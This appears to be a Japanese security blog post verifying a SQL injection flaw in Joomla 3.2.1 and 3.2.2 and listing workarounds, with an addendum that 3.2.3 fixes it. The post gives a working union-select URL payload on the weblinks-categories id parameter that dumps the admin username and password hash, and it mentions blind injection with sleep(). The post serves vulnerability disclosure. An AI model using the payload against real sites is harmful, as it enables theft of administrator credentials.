概要
Joomla3.2.1のSQLインジェクション脆弱性がexploit-dbに報告されました。こちらで追試した結果、Joomlaの最新版である3.2.2にも同じ問題があります。再現条件は下記の通りです。- Joomla 3.2.1 および 3.2.2 (他のバージョンでは検査していません)
- サンプルデータとして「テスト英語(GB)」を導入していること
- データベース MySQL(他のデータベースでは検査していません)
これは 500 Internal Errorのエラー画面ですが、画面最下部に以下のエラーメッセージが表示されています。
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `xxxxx_tags` AS t INNER JOIN `xxxxx_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \)SQLの詳細エラーメッセージが表示されており、IN句の中身が、外部から指定した「\」がそのまま入っています。この段階で、SQLインジェクション脆弱性があることが分かります。
http://example.jp/joomla/index.php/weblinks-categories?id=0)union+select+concat(username,password)+from+xxxxx_users+%23
上図の赤い囲みに「admin$P$DVZwwcGTspL434pDfmJOOUPZU8Dtf7/」と表示されていますが、これは管理者のIDとパスワードハッシュ値を連結したものです。
影響を受けるサイト
再現条件はまだはっきりしていません。前述のように、以下の両方を満たす場合に脆弱性が発現することを確認しています。- Joomla 3.2.1 および 3.2.2
- サンプルデータとして「テスト英語(GB)」を導入していること
また、Joomla2.5.18では上記は再現していません。
対応
本稿執筆時点でのJoomla最新版3.2.2に脆弱性があるため、脆弱性が該当する場合は回避策を検討してください。回避策としては、以下が考えられます。- Joomlaの対応版が導入できるまでサイトを停止する
- Web Application Firewall(WAF)を導入する
- index.php/weblinks-categories へのアクセスを禁止する(可能な場合)
- 詳細エラーメッセージの表示を抑止する
- Joomla2.5.18にダウングレードする
ただし、他の方法で攻撃は可能です。たとえば、MySQLのsleep()関数を用いたブラインドSQLの可能性があります。
今後のこの脆弱性に関する情報が公表されると予想されるため、Joomla利用者はセキュリティ情報に注意することをお勧めします。
追記(2014/3/9)
Joomla 3.2.3がリリースされました。確認したところ、上記のSQLインジェクションがこのバージョンで修正されています。Joomlaをお使いの方は、3.2.3へのバージョンアップをお勧めします。
Joomlaの管理コンソールにログインすると、下記のボタンが表示されるはずです。
ここで、「Update now」というボタンをクリックすると、アップデートが開始されます。
0 件のコメント:
コメントを投稿